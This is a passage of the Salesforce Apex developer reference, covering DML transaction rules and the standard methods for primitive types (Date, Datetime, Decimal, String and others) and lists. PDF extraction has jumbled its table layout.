Some sObjects require that you perform DML operations on only one type per transaction. For example, you cannot insert an account, then insert a user or a group member in a single transaction. The following sObjects cannot be used together in a transaction: Group3 GroupMember QueueSObject User4 UserRole UserTerritory Territory Important: The primary exception to this is when you are using the runAs method in a test. For more information, see System Methods on page 276. You can perform DML operations on more than one type of sObject in a single class using the following process: 1. Create a method that performs a DML operation on one type of sObject. 2. Create a second method that uses the future annotation to manipulate a second sObject type. If you are using a Visualforce page with a custom controller, you can only perform DML operations on a single type of sObject within a single request or action. However, you can perform DML operations on different types of sObjects in subsequent requests, for example, you could create an account with a save button, then create a user with a submit button.

Bulk DML Exception Handling

Exceptions that arise from a bulk DML call (including any recursive DML operations in triggers that are fired as a direct result of the call) are handled differently depending on where the original call came from:
3 4

When errors occur because of a bulk DML call that originates directly from the Apex DML statements, or if the all_or_none parameter of a database DML method was specified as true, the runtime engine follows the all or nothing You can only insert and update a group in a transaction with other sObjects. Other DML operations are not allowed. You can insert a user in a transaction with other sObjects if roleid is specified as null.

206

Reference

Apex Standard Classes and Methods

rule: during a single operation, all records must be updated successfully or the entire operation rolls back to the point immediately preceding the DML statement. When errors occur because of a bulk DML call that originates from the Force.com Web Services API, the runtime engine attempts at least a partial save: 1. During the first attempt, the runtime engine processes all records. Any record that generates an error due to issues such as validation rules or unique index violations is set aside. 2. If there were errors during the first attempt, the runtime engine makes a second attempt which includes only those records that did not generate errors. All records that didn't generate an error during the first attempt are processed, and if any record generates an error (perhaps because of race conditions) it is also set aside. 3. If there were additional errors during the second attempt, the runtime engine makes a third and final attempt which includes only those records that did not generate errors during the first and second attempts. If any record generates an error, the entire operation fails with the error message, Too many batch retries in the presence of Apex triggers and partial failures. Note: During the second and third attempts, governor limits are reset to their original state before the first attempt. See Understanding Execution Governors and Limits on page 166.

Apex Standard Classes and Methods

Apex provides standard classes that contain both static and instance methods for expressions of primitive data types, as well as more complex objects. Standard static methods are similar to Java and are always of the form:
Class.method(args)

Standard static methods for primitive data types do not have an implicit parameter, and are invoked with no object context. For example, the following expression rounds the value of 1.75 to the nearest Integer without using any other values.
Math.roundToLong(1.75);

All instance methods occur on expressions of a particular data type, such as a list, set, or string. For example:
String s = 'Hello, world'; Integer i = s.length();

Note: If a method is called with an object expression that evaluates to null, the Apex runtime engine throws a null pointer exception. Some classes use a namespace as a grouping mechanism for their methods. For example, the message class uses the ApexPages namespace.
ApexPages.Message myMsg = new ApexPages.Message(ApexPages.FATAL, 'My Error Message');

The Apex standard classes are grouped into the following categories: Primitives Collections

207

Reference

Primitives Methods

Enums sObjects System Exceptions

Primitives Methods
Apex Primitive Methods
Many primitive data types in Apex have methods that can be used to do additional manipulation of the data. The primitives that have methods are: Blob Boolean Date Datetime Decimal Double Long String Time

Blob Methods The following is the system static method for Blob. Name
valueOf

Arguments String S

Return Type Blob

Description Casts the specified String S to a Blob. For example:

String myString = 'StringToBlob'; Blob myBlob = Blob.valueof(myString);

The following are the instance methods for Blob. Name

size

Arguments

Return Type Integer

Description Returns the number of characters in the blob. For example:

String myString = 'StringToBlob'; Blob myBlob = Blob.valueof(myString); Integer size = myBlob.size();

toString

String

Casts the blob into a String.

For more information on Blobs, see Primitive Data Types on page 27.

208

Reference

Apex Primitive Methods

Boolean Methods The following are the static methods for Boolean. Name
valueOf

Arguments anyTypex

Return Type Boolean

Description Casts x, a history tracking table field of type anyType, to a Boolean. For more information on the anyType data type, see Field Types in the Force.com Web Services API Developer's Guide.

For more information on Boolean, see Primitive Data Types on page 27. Date Methods The following are the system static methods for date. Name
daysInMonth

Arguments Integer year Integer month

Return Type Integer

Description Returns the number of days in the month for the specified year and month (1=Jan) The following example finds the number of days in the month of February in the year 1960:
Integer numberDays = date.daysInMonth(1960, 2);

isLeapYear newInstance

Integer year Integer year Integer month Integer date

Boolean Date

Returns true if the specified year is a leap year Constructs a Date from Integer representations of the year, month (1=Jan), and day. The following example creates the date February 17th, 1960:
Date myDate = date.newinstance(1960, 2, 17);

parse

String Date

Date

Constructs a Date from a String. The format of the String depends on the local date format. The following example works in some locales:
date mydate = date.parse('12/27/2009');

today valueOf

Date String s Date

Returns the current date in the current user's time zone Returns a Date that contains the value of the specified String. The String should use the standard date format yyyy-MM-dd HH:mm:ss in the local time zone. For example:
string string string string string string string year = '2008'; month = '10'; day = '5'; hour = '12'; minute = '20'; second = '20'; stringDate = year + '-' + month

209

Reference

Apex Primitive Methods

Name

Arguments

Return Type

Description
+ '-' + day + ' ' + hour + ':' + minute + ':' + second; Date myDate = date.valueOf(stringDate);

valueOf

anyType x

Date

Casts x, a history tracking table field of type anyType, to a Date. For more information on the anyType data type, see Field Types in the Force.com Web Services API Developer's Guide.

The following are the instance methods for Date. Name

addDays

Arguments Integer addlDays

Return Type Date

Description Adds the specified number of addlDays to a Date. For example:

date myDate = date.newInstance(1960, 2, 17); date newDate = mydate.addDays(2);

addMonths addYears day dayOfYear daysBetween

Integer addlMonths Date Integer addlYears Date Integer Integer Date compDate Integer

Adds the specified number of addlMonths to a Date Adds the specified number of addlYears to a Date Returns the day-of-month component of a Date. For example, February 5, 1999 would be day 5. Returns the day-of-year component of a Date. For example, February 5, 1999 would be day 36. Returns the number of days between the Date that called the method and the compDate. If the Date that calls the method occurs after the compDate, the return value is negative. For example:
date startDate = date.newInstance(2008, 1, 1); date dueDate = date.newInstance(2008, 1, 30); integer numberDaysDue = startDate.daysBetween(dueDate);

format isSameDay

String Date compDate Boolean

Returns the Date as a string Returns true if the Date that called the method is the same as the compDate. For example:
date myDate = date.today(); date dueDate = date.newInstance(2008, 1, 30); boolean dueNow = myDate.isSameDay(dueDate);

210

Reference

Apex Primitive Methods

Name
month monthsBetween

Arguments

Return Type Integer

Description Returns the month component of a Date (1=Jan) Returns the number of months between the Date that called the method and the compDate, ignoring the difference in dates. For example, March 1 and March 30 of the same year have 0 months between them. Returns the first of the month for the Date that called the method. For example, July 14, 1999 returns July 1, 1999. Returns the start of the week for the Date that called the method, depending on the context user's locale. For example, the start of a week is Sunday in the United States locale, and Monday in European locales. For example:
date myDate = date.today(); date weekStart = myDate.toStartofWeek();

Date compDate

Integer

toStartOfMonth

Date

toStartOfWeek

Date

year

Integer

Returns the year component of a Date

For more information on Dates, see Primitive Data Types on page 27. Datetime Methods The following are the system static methods for Datetime. Name
newInstance

Arguments Long l

Return Type Datetime

Description Constructs a DateTime and initializes it to represent the specified number of milliseconds since January 1, 1970, 00:00:00 GMT Constructs a DateTime from the specified date and time in the local time zone. Constructs a Datetime from Integer representations of the year, month (1=Jan), and day at midnight in the local time zone. For example:
datetime myDate = datetime.newInstance(2008, 12, 1);

newInstance

Date Date Time Time

Datetime

newInstance

Integer year Integer month Integer day

Datetime

newInstance

Integer year Integer month Integer day Integer hour Integer minute Integer second

Datetime

Constructs a Datetime from Integer representations of the year, month (1=Jan), day, hour, minute, and second in the local time zone. For example:
Datetime myDate = datetime.newInstance(2008, 12, 1, 12, 30, 2);

211

Reference

Apex Primitive Methods

Name
newInstanceGmt

Arguments Date date Time time

Return Type Datetime

Description Constructs a DateTime from the specified date and time in the GMT time zone. Constructs a Datetime from Integer representations of the year, month (1=Jan), and day at midnight in the GMT time zone Constructs a Datetime from Integer representations of the year, month (1=Jan), day, hour, minute, and second in the GMT time zone

newInstanceGmt

Integer year Integer month Integer date

Datetime

newInstanceGmt

Integer year Integer month Integer date Integer hour Integer minute Integer second

Datetime

now

Datetime

Returns the current Datetime based on a GMT calendar. For example:

datetime myDateTime = datetime.now();

The format of the returned datetime is: 'MM/DD/YYYY

HH:MM PERIOD' parse

String datetime

Datetime

Constructs a Datetime from the String datetime in the local time zone and format. The following example works in some locales:
datetime myDateTime = datetime.now(); string mydtstring = mydatetime.format(); system.assertequals('12/27/2009 11:46 AM', mydtstring);

valueOf

String s

Datetime

Returns a Datetime that contains the value of the specified String. The String should use the standard date format yyyy-MM-dd HH:mm:ss in the local time zone. For example:
string string string string string string string + '-' minute year = '2008'; month = '10'; day = '5'; hour = '12'; minute = '20'; second = '20'; stringDate = year + '-' + month + day + ' ' + hour + ':' + + ':' + second;

Datetime myDate = datetime.valueOf(stringDate);

valueOf

anyType x

Datetime

Casts x, a history tracking table field of type anyType, to a Datetime. For more information on the anyType

212

Reference

Apex Primitive Methods

Name

Arguments

Return Type

Description data type, see Field Types in the Force.com Web Services API Developer's Guide.

valueOfGmt

String s

Datetime

Returns a Datetime that contains the value of the specified String. The String should use the standard date format yyyy-MM-dd HH:mm:ss in the GMT time zone

The following are the instance methods for Datetime. Name

addDays

Arguments Integer addlDays

Return Type Datetime

Description Adds the specified number of addlDays to a Datetime. For example:

datetime myDate = datetime.newInstance (1960, 2, 17); datetime newDate = mydate.addDays(2);

addHours addMinutes addMonths addSeconds addYears date dateGMT day

Integer addlHours

Datetime

Adds the specified number of addlHours to a Datetime Adds the specified number of addlMinutes to a Datetime Adds the specified number of addlMonths to a Datetime Adds the specified number of addlSeconds to a Datetime Adds the specified number of addlYears to a Datetime Returns the Date component of a Datetime in the local time zone of the context user. Return the Date component of a Datetime in the GMT timezone Returns the day-of-month component of a Datetime in the local time zone of the context user. For example, February 5, 1999 08:30:12 would be day 5. Returns the day-of-month component of a Datetime in the GMT time zone. For example, February 5, 1999 08:30:12 would be day 5. Returns the day-of-year component of a Datetime in the local time zone of the context user. For example, February 5, 2008 08:30:12 would be day 36.
Datetime myDate = datetime.newInstance (2008, 2, 5, 8, 30, 12); system.assertEquals (myDate.dayOfYear(), 36);

Integer addlMinutes Datetime Integer addlMonths Datetime

Integer addlSeconds Datetime Integer addlYears Datetime Date Date Integer

dayGmt

Integer

dayOfYear

Integer

213

Reference

Apex Primitive Methods

Name
dayOfYearGmt

Arguments

Return Type Integer

Description Returns the day-of-year component of a Datetime in the GMT time zone. For example, February 5, 1999 08:30:12 would be day 36. Returns a Datetime as a string using the local time zone of the current user. If the time zone cannot be determined, GMT is used. Returns a Datetime as a string using the supplied Java simple date format and the local time zone of the current user. If the time zone cannot be determined, GMT is used. For example:
datetime myDT = Datetime.now(); String myDate = myDT.format('h:mm a');

format

String

format

String dateFormat

String

For more information on the Java simple date format, see http://java.sun.com/j2se/1.4.2/docs/api/java/text/SimpleDateFormat.html.
format

String dateFormat String timezone

String

Returns a Datetime as a string using the supplied Java simple date format and time zone. If the supplied time zone is not in the correct format, GMT is used. For more information on the Java simple date format, see http://java.sun.com/j2se/1.4.2/docs/api/java/text/SimpleDateFormat.html.

formatGmt

StringdateFormat

String

Returns a Datetime as a string using the supplied Java simple date format and the GMT time zone. For more information on the Java simple date format, see http://java.sun.com/j2se/1.4.2/docs/api/java/text/SimpleDateFormat.html.

formatLong getTime hour hourGmt isSameDay

String Long Integer Integer Datetime compDt Boolean

Returns a Datetime using the local time zone of the current user, including seconds and time zone Returns the number of milliseconds since January 1, 1970, 00:00:00 GMT represented by this DateTime object Returns the hour component of a Datetime in the local time zone of the context user Returns the hour component of a Datetime in the GMT time zone Returns true if the Datetime that called the method is the same as the compDt in the local time zone of the context user. For example:
datetime myDate = datetime.now(); datetime dueDate = datetime.newInstance(2008, 1, 30); boolean dueNow = myDate.isSameDay(dueDate);

millisecond millisecondGmt

Integer Integer

Return the millisecond component of a Datetime in the local time zone of the context user. Return the millisecond component of a Datetime in the GMT time zone.

214

Reference

Apex Primitive Methods

Name
minute minuteGmt month monthGmt second secondGmt time timeGmt year yearGmt

Arguments

Return Type Integer Integer Integer Integer Integer Integer Time Time Integer Integer

Description Returns the minute component of a Datetime in the local time zone of the context user Returns the minute component of a Datetime in the GMT time zone Returns the month component of a Datetime in the local time zone of the context user (1=Jan) Returns the month component of a Datetime in the GMT time zone (1=Jan) Returns the second component of a Datetime in the local time zone of the context user Returns the second component of a Datetime in the GMT time zone Returns the time component of a Datetime in the local time zone of the context user Returns the time component of a Datetime in the GMT time zone Returns the year component of a Datetime in the local time zone of the context user Returns the year component of a Datetime in the GMT time zone

For more information about the Datetime, see Primitive Data Types on page 27. Decimal Methods The following are the system static methods for Decimal. Name
valueOf valueOf valueOf

Arguments Double d Long l String s

Return Type Decimal Decimal Decimal

Description Returns a Decimal that contains the value of the specified Double. Returns a Decimal that contains the value of the specified Long. Returns a Decimal that contains the value of the specified String. As in Java, the string is interpreted as representing a signed Decimal. For example:
String temp = '12.4567'; Decimal myDecimal = decimal.valueOf(temp);

The following are the instance methods for Decimal.

215

Reference

Apex Primitive Methods

Name
abs divide

Arguments

Return Type Decimal

Description Returns the absolute value of the Decimal. Divides this Decimal by divisor, and sets the scale, that is, the number of decimal places, of the result using scale. In the following example, D has the value of 0.190:
Decimal D = 19; D.Divide(100, 3);

Decimal divisor, Integer scale

Decimal

divide

Decimal divisor, Integer scale, Object

roundingMode

Decimal

Divides this Decimal by divisor, sets the scale, that is, the number of decimal places, of the result using scale, and if necessary, rounds the value using roundingMode. For more information about the valid values for roundingMode, see Rounding Mode on page 218. For example:
Decimal myDecimal = 12.4567; Decimal divDec = myDecimal.divide (7, 2, System.RoundingMode.UP); system.assertEquals(divDec, 1.78);

doubleValue format intValue longValue pow

Double String Integer Long Integer exponent Decimal

Returns the Double value of this Decimal. Returns the String value of this Decimal, using scientific notation if an exponent is needed. Returns the Integer value of this Decimal. Returns the Long value of this Decimal. Returns the value of this decimal raised to the power of exponent. The value of exponent must be between -32,768 and 32,767. For example:
Decimal myDecimal = 4.12; Decimal powDec = myDecimal.pow(2); system.assertEquals(powDec, 16.9744);

precision

Integer

Returns the total number of digits for the Decimal. For example, if the Decimal value was 123.45, precision returns 5. If the Decimal value is 123.123, precision returns 6. For example:
Decimal D1 = 123.45; Integer precision1 = D1.precision(); system.assertEquals(precision1, 5); Decimal D2 = 123.123; Integer precision2 = D2.precision(); system.assertEquals(precision2, 6);

round

Long

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using

216

Reference

Apex Primitive Methods

Name

Arguments

Return Type

Description half-even rounding mode, that is, it rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations. For more information about half-even rounding mode, see Rounding Mode on page 218. For example:
Decimal D1 = 5.5; Long L1 = D1.round(); system.assertEquals(L1, 6); Decimal D2= 5.2; Long L2= D2.round(); system.assertEquals(L2, 5); Decimal D3= -5.7; Long L3= D3.round(); system.assertEquals(L3, -6);

round

System.RoundingMode Long
roundingMode

Returns the rounded approximation of this Decimal. The number is rounded to zero decimal places using the rounding mode specified by roundingMode. For more information about the valid values for roundingMode, see Rounding Mode on page 218. Returns the scale of the Decimal, that is, the number of decimal places. Sets the scale of the Decimal to the given number of decimal places, using half-even rounding, if necessary. Half-even rounding mode rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. For more information about half-even rounding mode, see Rounding Mode on page 218. The value of scale must be between 33 and 33. If you do not explicitly set the scale for a Decimal, the scale is determined by the item from which the Decimal is created: If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query. If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String. If the Decimal is created from a non-decimal number, the scale is determined by converting the number to a String and then using the number of characters after the decimal point.

scale setScale

Integer Integer scale Decimal

217

Reference

Apex Primitive Methods

Name
setScale

Arguments

Return Type

Description Sets the scale of the Decimal to the given number of decimal places, using the rounding mode specified by roundingMode , if necessary. For more information about the valid values for roundingMode, see Rounding Mode on page 218.The value of scale must be between -32,768 and 32,767. If you do not explicitly set the scale for a Decimal, the scale is determined by the item from which the Decimal is created: If the Decimal is created as part of a query, the scale is based on the scale of the field returned from the query. If the Decimal is created from a String, the scale is the number of characters after the decimal point of the String. If the Decimal is created from a non-decimal number, the scale is determined by converting the number to a String and then using the number of characters after the decimal point.

Integer scale, Decimal System.RoundingMode

roundingMode

stripTrailingZeros toPlainString

Decimal String

Returns the Decimal with any trailing zeros removed. Returns the String value of this Decimal, without using scientific notation.

For more information on Decimal, see Primitive Data Types on page 27. Rounding Mode Rounding mode specifies the rounding behavior for numerical operations capable of discarding precision. Each rounding mode indicates how the least significant returned digit of a rounded result is to be calculated. The following are the valid values for roundingMode. Name
CEILING

Description Rounds towards positive infinity. That is, if the result is positive, this mode behaves the same as the UP rounding mode; if the result is negative, it behaves the same as the DOWN rounding mode. Note that this rounding mode never decreases the calculated value. For example: Input number 5.5: CEILING round mode result: 6 Input number 1.1: CEILING round mode result: 2 Input number -1.1: CEILING round mode result: -1 Input number -2.7: CEILING round mode result: -2 Rounds towards zero. This rounding mode always discards any fractions (decimal points) prior to executing. Note that this rounding mode never increases the magnitude of the calculated value. For example: Input number 5.5: DOWN round mode result: 5 Input number 1.1: DOWN round mode result: 1

DOWN

218

Reference

Apex Primitive Methods

Name

Description Input number -1.1: DOWN round mode result: -1 Input number -2.7: DOWN round mode result: -2

FLOOR

Rounds towards negative infinity. That is, if the result is positive, this mode behaves the same as theDOWN rounding mode; if negative, this mode behaves the same as the UP rounding mode. Note that this rounding mode never increases the calculated value. For example: Input number 5.5: FLOOR round mode result: 5 Input number 1.1: FLOOR round mode result: 1 Input number -1.1: FLOOR round mode result: -2 Input number -2.7: FLOOR round mode result: -3 Rounds towards the nearest neighbor unless both neighbors are equidistant, in which case this mode rounds down. This rounding mode behaves the same as the UP rounding mode if the discarded fraction (decimal point) is > 0.5; otherwise, it behaves the same as DOWN rounding mode. For example: Input number 5.5: HALF_DOWN round mode result: 5 Input number 1.1: HALF_DOWN round mode result: 1 Input number -1.1: HALF_DOWN round mode result: -1 Input number -2.7: HALF_DOWN round mode result: -2 Rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. This rounding mode behaves the same as the HALF_UP rounding mode if the digit to the left of the discarded fraction (decimal point) is odd. It behaves the same as the HALF_DOWN rounding method if it is even. For example: Input number 5.5: HALF_EVEN round mode result: 6 Input number 1.1: HALF_EVEN round mode result: 1 Input number -1.1: HALF_EVEN round mode result: -1 Input number -2.7: HALF_EVEN round mode result: -3 Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations.

HALF_DOWN

HALF_EVEN

HALF_UP

Rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds up. This rounding method behaves the same as the UP rounding method if the discarded fraction (decimal point) is >= 0.5; otherwise, this rounding method behaves the same as the DOWN rounding method. For example: Input number 5.5: HALF_UP round mode result: 6 Input number 1.1: HALF_UP round mode result: 1 Input number -1.1: HALF_UP round mode result: -1 Input number -2.7: HALF_UP round mode result: -3 Asserts that the requested operation has an exact result, which means that no rounding is necessary. If this rounding mode is specified on an operation that yields an inexact result, an Exception is thrown. For example: Input number 5.5: UNNECESSARY round mode result: Exception Input number 1.0: UNNECESSARY round mode result: 1

UNNECESSARY

219

Reference

Apex Primitive Methods

Name
UP

Description Rounds away from zero. This rounding mode always truncates any fractions (decimal points) prior to executing. Note that this rounding mode never decreases the magnitude of the calculated value. For example: Input number 5.5: UP round mode result: 6 Input number 1.1: UP round mode result: 2 Input number -1.1: UP round mode result: -2 Input number -2.7: UP round mode result: -3

Double Methods The following are the system static methods for Double. Name
valueOf

Arguments anyType x

Return Type Double

Description Casts x, a history tracking table field of type anyType, to a Double. For more information on the anyType data type, see Field Types in the Force.com Web Services API Developer's Guide. Returns a Double that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal. For example:
Double DD1 = double.valueOf('3.14159');

valueOf

String s

Double

The following are the instance methods for Double. Name

format intValue

Arguments

Return Type String Integer

Description Returns the String value for this Double Returns the Integer value of this Double by casting it to an Integer. For example:
Double DD1 = double.valueOf('3.14159'); Integer value = DD1.intValue(); system.assertEquals(value, 3);

longValue round

Long Long

Returns the Long value of this Double Returns the rounded value of this Double. The number is rounded to zero decimal places using half-even rounding mode, that is, it rounds towards the nearest neighbor unless both neighbors are equidistant, in which case, this mode rounds towards the even neighbor. Note that this rounding mode statistically minimizes cumulative error when applied repeatedly over a sequence of calculations. For more information about half-even

220

Reference

Apex Primitive Methods

Name

Arguments

Return Type

Description rounding mode, see Rounding Mode on page 218. For example:
Double D1 = 5.5; Long L1 = D1.round(); system.assertEquals(L1, 6); Double D2= 5.2; Long L2= D2.round(); system.assertEquals(L2, 5); Double D3= -5.7; Long L3= D3.round(); system.assertEquals(L3, -6);

For more information on Double, see Primitive Data Types on page 27. Integer Methods The following are the system static methods for Integer. Name
valueOf

Arguments anyType x

Return Type Integer

Description Casts x, a history tracking table field of type anyType, to an Integer. For more information on the anyType data type, see File Types in the Force.com Web Services API Developer's Guide. Returns an Integer that contains the value of the specified String. As in Java, the String is interpreted as representing a signed decimal integer. For example:
Integer myInt = integer.valueOf('123');

valueOf

String s

Integer

The following are the instance methods for Integer. Name

format

Arguments

Return Type String

Description Returns the integer as a string

For more information on integers, see Primitive Data Types on page 27. Long Methods The following are the system static methods for Long. Name
valueOf

Arguments String s

Return Type Long

Description Returns a Long that contains the value of the specified String. As in Java, the string is interpreted as representing a signed decimal Long. For example:
Long L1 = long.valueOf('123456789');

221

Reference

Apex Primitive Methods

For more information on Long, see Primitive Data Types on page 27. String Methods The following are the system static methods for String. Name Arguments Return Type String Description Returns a String with the escape character (\) added before any single quotation marks in the String s. This method is useful when creating a dynamic SOQL statement, to help prevent SOQL injection. For more information on dynamic SOQL, see Dynamic SOQL on page 139. Treat the current string as a pattern that should be used for substitution in the same manner as apex:outputText.

escapeSingleQuotes String s

format

String s List<String>
arguments

String

fromCharArray valueOf

List<Integer>
charArray

String String

Returns a String from the values of the list of integers. Returns a String that represents the specified Date in the standard yyyy-MM-dd format. For example:
Date myDate = Date.Today(); String sDate = String.valueOf(myDate);

Date d

valueOf

Datetime dt

String

Returns a String that represents the specified Datetime in the standard yyyy-MM-dd HH:mm:ss format for the local time zone Returns a String that represents the specified Decimal. Casts x, a history tracking table field of type anyType, to a String. For example:
Double myDouble = 12.34; String myString = String.valueOf(myDouble); System.assertEquals('12.34', myString);

valueOf valueOf

Decimal d anyType x*

String String

For more information on the anyType data type, see Field Types in the Force.com Web Services API Developer's Guide.
valueOfGmt

Datetime dt

String

Returns a String that represents the specified Datetime in the standard yyyy-MM-dd HH:mm:ss format for the GMT time zone

The following are the instance methods for String.

222

Reference

Apex Primitive Methods

Name
compareTo

Arguments

Return Type

Description Compares two strings lexicographically, based on the Unicode value of each character in the Strings. The result is: A negative Integer if the String that called the method lexicographically precedes compString A positive Integer if the String that called the method lexicographically follows compString Zero if the Strings are equal If there is no index position at which the Strings differ, then the shorter String lexicographically precedes the longer String. For example:
String myString1 = 'abcde'; String myString2 = 'abcd'; Integer result = myString1.compareTo(myString2); System.assertEquals(result, 1);

String compString Integer

Note that this method returns 0 whenever the equals method returns true.
contains

String compString Boolean

Returns true if and only if the String that called the method contains the specified sequence of characters in the compString. For example:
String myString1 = 'abcde'; String myString2 = 'abcd'; Boolean result = myString1.contains(myString2); System.assertEquals(result, true);

endsWith equals

String suffix

Boolean

Returns true if the String that called the method ends with the specified suffix Returns true if the compString is not null and represents the same binary sequence of characters as the String that called the method. This method is true whenever the compareTo method returns 0. For example:
String myString1 = 'abcde'; String myString2 = 'abcd'; Boolean result = myString1.equals(myString2); System.assertEquals(result, false);

String compString Boolean

Note that the == operator also performs String comparison, but is case-insensitive to match Apex semantics. (== is case-sensitive for ID comparison for the same reason.)

223

Reference

Apex Primitive Methods

Name

Arguments

Return Type

Description Returns true if the compString is not null and represents the same sequence of characters as the String that called the method, ignoring case. For example:
String myString1 = 'abcd'; String myString2 = 'ABCD'; Boolean result = myString1.equalsIgnoreCase(myString2); System.assertEquals(result, true);

equalsIgnoreCase String compString Boolean

indexOf

String subString

Integer

Returns the index of the first occurrence of the specified substring. If the substring does not occur, this method returns -1. Returns the index of the first occurrence of the specified substring from the point of index i. If the substring does not occur, this method returns -1. For example:
String myString1 = 'abcd'; String myString2 = 'bc'; Integer result = myString1.indexOf(myString2, 0); System.assertEquals(result, 1);

indexOf

String substring Integer i

Integer

lastIndexOf

String substring

Integer

Returns the index of the last occurrence of the specified substring. If the substring does not occur, this method returns -1. Returns the number of 16-bit Unicode characters contained in the String. For example:
String myString = 'abcd'; Integer result = myString.length(); System.assertEquals(result, 4);

length

Integer

replace

String target String replacement

String

Replaces each substring of a string that matches the literal target sequence target with the specified literal replacement sequence replacement Replaces each substring of a string that matches the regular expression regExp with the replacement sequence replacement. See http://java.sun.com/j2se/1.5.0/docs/ api/java/util/regex/Pattern.html for information on regular expressions. Replaces the first substring of a string that matches the regular expression regExp with the replacement sequence replacement. See http://java.sun.com/j2se/1.5.0/docs/ api/java/util/regex/Pattern.html for information on regular expressions.

replaceAll

String regExp String replacement

String

replaceFirst

String regExp String replacement

String

224

Reference

Apex Primitive Methods

Name
split

Arguments String regExp Integer limit

Return Type String[]

Description Returns a list that contains each substring of the String that is terminated by the regular expression regExp, or the end of the String. See http://java.sun.com/j2se/1.5.0/docs/ api/java/util/regex/Pattern.html for information on regular expressions. The substrings are placed in the list in the order in which they occur in the String. If regExp does not match any part of the String, the resulting list has just one element containing the original String. The optional limit parameter controls the number of times the pattern is applied and therefore affects the length of the list: If limit is greater than zero, the pattern is applied at most limit - 1 times, the list's length is no greater than limit, and the list's last entry contains all input beyond the last matched delimiter. If limit is non-positive then the pattern is applied as many times as possible and the list can have any length. If limit is zero then the pattern is applied as many times as possible, the list can have any length, and trailing empty strings are discarded.

For example, for String s = 'boo:and:foo':

s.split(':', 2) results in {'boo', 'and:foo'} s.split(':', 5) results in {'boo', 'and', 'foo'} s.split(':', -2) results in {'boo', 'and', 'foo'} s.split('o', 5) results in {'b', '', ':and:f', '', ''} s.split('o', -2) results in {'b', '', ':and:f', '', ''} s.split('o', 0) results in {'b', '', ':and:f'}

startsWith substring

String prefix

Boolean

Returns true if the String that called the method begins with the specified prefix Returns a new String that begins with the character at the specified startIndex and extends to the end of the String

Integer startIndex String

225

Reference

Apex Primitive Methods

Name
substring

Arguments

Return Type

Description Returns a new String that begins with the character at the specified startIndex and extends to the character at endIndex - 1. For example:
'hamburger'.substring(4, 8); // Returns "urge" 'smiles'.substring(1, 5); // Returns "mile"

Integer startIndex, String Integer endIndex

toLowerCase toLowerCase toUpperCase

String String locale String String

Converts all of the characters in the String to lowercase using the rules of the default locale Converts all of the characters in the String to lowercase using the rules of the specified locale Converts all of the characters in the String to uppercase using the rules of the default locale. For example:
String myString1 = 'abcd'; String myString2 = 'ABCD'; myString1 = myString1.toUpperCase(); Boolean result = myString1.equals(myString2); System.assertEquals(result, true);

toUpperCase trim

String locale

String String

Converts all of the characters in the String to the uppercase using the rules of the specified locale Returns a String that no longer contains any white space characters, including leading and trailing spaces, tabs, newline characters, and so on

For more information on Strings, see Primitive Data Types on page 27. Time Methods The following are the system static methods for Time. Name
newInstance

Arguments Integer hour Integer minutes Integer seconds Integer

milliseconds

Return Type Time

Description Constructs a Time from Integer representations of the hour, minutes, seconds, and milliseconds. The following example creates a time of 18:20:2:20:
Time myTime = Time.newInstance(18, 30, 2, 20);

The following are the instance methods for Time.

226

Reference

Apex Collection Methods

Name
addHours

Arguments Integer addlHours

Return Type Time

Description Adds the specified number of addlHours to a Time Adds the specified number of addlMilliseconds to a Time Adds the specified number of addlMinutes to a Time. For example:
Time myTime = Time.newInstance(18, 30, 2, 20); Integer myMinutes = myTime.minute(); myMinutes = myMinutes + 5; System.assertEquals(myMinutes, 35);

addMilliseconds Integer Time addlMilliseconds addMinutes

Integer
addlMinutes

Time

addSeconds hour

Integer
addlSeconds

Time Integer

Adds the specified number of addlSeconds to a Time Returns the hour component of a Time. For example:
Time myTime = Time.newInstance(18, 30, 2, 20); myTime = myTime.addHours(2); Integer myHour = myTime.hour(); System.assertEquals(myHour, 20);

millisecond minute second

Integer Integer Integer

Returns the millisecond component of a Time Returns the minute component of a Time Returns the second component of a Time

For more information on time, see Primitive Data Types on page 27.

Apex Collection Methods

Apex Collection Methods
All the collections in Apex have methods associated with them for assigning, retrieving, and manipulating the data. The collection methods are: List Map Set

227

Reference

Apex Collection Methods

List Methods The list methods are all instance methods, that is, they operate on a particular instance of a list. For example, the following removes all elements from myList:
myList.clear();

Even though the clear method does not include any parameters, the list that calls it is its implicit parameter. The following are the instance parameters for List. Note: In the table below, List_elem represents a single element of the same type as the list.

Name
add

Arguments Any typee

Return Type Void

Description Adds an element e to the end of the list. For example:

List<Integer> myList = new List<Integer>(); myList.add(47); Integer myNumber = myList.get(0); system.assertEquals(myNumber, 47);

add

Integer i Any type e

Void

Inserts an element e into the list at index position i. In the following example, a list with six elements is created, and integers are added to the first and second index positions.
List<Integer> myList = new Integer[6]; myList.add(0, 47); myList.add(1, 52); system.assertEquals(myList.get(1), 52);

addAll addAll

List l Set s

Void Void

Adds all of the elements in list l to the list that calls the method. Note that both lists must be of the same type. Add all of the elements in set s to the list that calls the method. Note that the set and the list must be of the same type. Removes all elements from a list, consequently setting the list's length to zero Makes a duplicate copy of a list. Note that if this is a list of sObject records, the duplicate list will only be a shallow copy of the list. That is, the duplicate will have references to each object, but the sObject records themselves will not be duplicated. For example:
Account a = new Account(name='Acme', billingcity='New York'); Account b = new Account();

clear clone

Void List (of same type)

228

Reference

Apex Collection Methods

Name

Arguments

Return Type

Description
Account[] l1 = new Account[]{a,b}; Account[] l2 = l1.clone(); l1[0].billingcity = 'San Francisco'; System.assertEquals( l1[0].billingcity, 'San Francisco'); System.assertEquals( l2[0].billingcity, 'San Francisco');

To also copy the sObject records, you must use the deepClone method.
deepClone

Boolean
opt_preserve_id

List (of same object type)

Makes a duplicate copy of a list of sObject records, including the sObject records themselves. For example:
